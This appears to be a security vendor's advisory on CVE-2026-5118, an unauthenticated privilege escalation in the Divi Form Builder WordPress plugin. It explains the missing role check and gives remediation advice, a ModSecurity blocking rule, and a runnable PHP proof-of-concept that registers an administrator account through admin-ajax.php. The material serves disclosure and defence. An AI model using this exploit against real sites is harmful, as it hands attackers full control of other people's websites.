Atomic Edge analysis of CVE-2026-5118 (metadata-based): The Divi Form Builder plugin for WordPress, versions 5.1.2 and earlier, contains an unauthenticated privilege escalation vulnerability. Attackers can create administrator accounts by sending a crafted registration request, achieving full site compromise with a CVSS score of 9.8.
The root cause is improper privilege management (CWE-269) during user registration. The plugin accepts a user-controlled ‘role’ parameter from POST data without validating it against the form’s configured ‘default_user_role’ setting. This is a classic missing server-side validation flaw. Atomic Edge analysis infers that the registration handler retrieves the role directly from $_POST[‘role’] and passes it to wp_insert_user() or similar WordPress function without checking whether the submitted role matches the intended default. The patched version (5.1.3) likely adds a whitelist check or forces the role to the configured default.
Exploitation is straightforward. An unauthenticated attacker sends a POST request to the plugin’s AJAX handler (likely /wp-admin/admin-ajax.php with action set to something like ‘divi_form_builder_submit’ or ‘divi_register_user’). The payload includes standard registration fields (username, email, password) plus a ‘role’ parameter set to ‘administrator’. The plugin processes the request and creates a new user with administrator privileges. No authentication or nonce is required. Attackers can chain this with automated scripts to create multiple admin accounts.
Remediation requires server-side validation of the user role. The plugin should never accept the role from user input. Instead, it must enforce the role defined in the form’s settings. Atomic Edge analysis recommends the fix: remove the role parameter from user-controlled input entirely and use the pre-configured default role stored in the database. If dynamic roles are necessary, implement a strict whitelist of allowed roles and verify the submitted role against that whitelist, with administrator privileges never exposed to user selection.
Impact is catastrophic. Unauthenticated attackers can become site administrators, granting full control over the WordPress installation. This includes the ability to upload malicious files, modify themes and plugins, create content, access the database, and potentially execute arbitrary code. Since the attack requires no authentication and the exploit is trivial, widespread automated exploitation is likely. Sites running the vulnerable plugin version should be considered compromised and undergo immediate remediation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5118 (metadata-based)
# Blocks unauthenticated privilege escalation via role parameter in Divi Form Builder AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265118,phase:2,deny,status:403,chain,msg:'CVE-2026-5118 Divi Form Builder Privilege Escalation',severity:'CRITICAL',tag:'CVE-2026-5118'"
SecRule ARGS_POST:action "@rx ^divi_form_builder_" "chain"
SecRule ARGS_POST:role "@streq administrator" "t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5118 - Divi Form Builder <= 5.1.2 - Unauthenticated Privilege Escalation via 'role'
// Target WordPress site URL (change this)
$target_url = 'http://example.com';
// AJAX action hook (inferred from plugin slug; adjust if needed)
$ajax_action = 'divi_form_builder_form_submit';
// Registration payload - role parameter triggers escalation
$post_data = array(
'action' => $ajax_action,
'form_id' => 1, // Assuming form ID 1 exists; may need enumeration
'username' => 'attacker_admin_' . time(),
'email' => 'attacker_' . time() . '@example.com',
'password' => 'ExploitPass123!',
'role' => 'administrator', // Unvalidated privilege escalation
'confirm_password' => 'ExploitPass123!',
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: $http_coden";
if ($response) {
echo "[+] Response Body: $responsen";
$decoded = json_decode($response, true);
if (isset($decoded['success']) && $decoded['success'] === true) {
echo "[!] Exploit likely successful. Check for new admin user.n";
} else {
echo "[-] Exploit may have failed. Verify target and form_id.n";
}
} else {
echo "[-] No response received.n";
}
?>
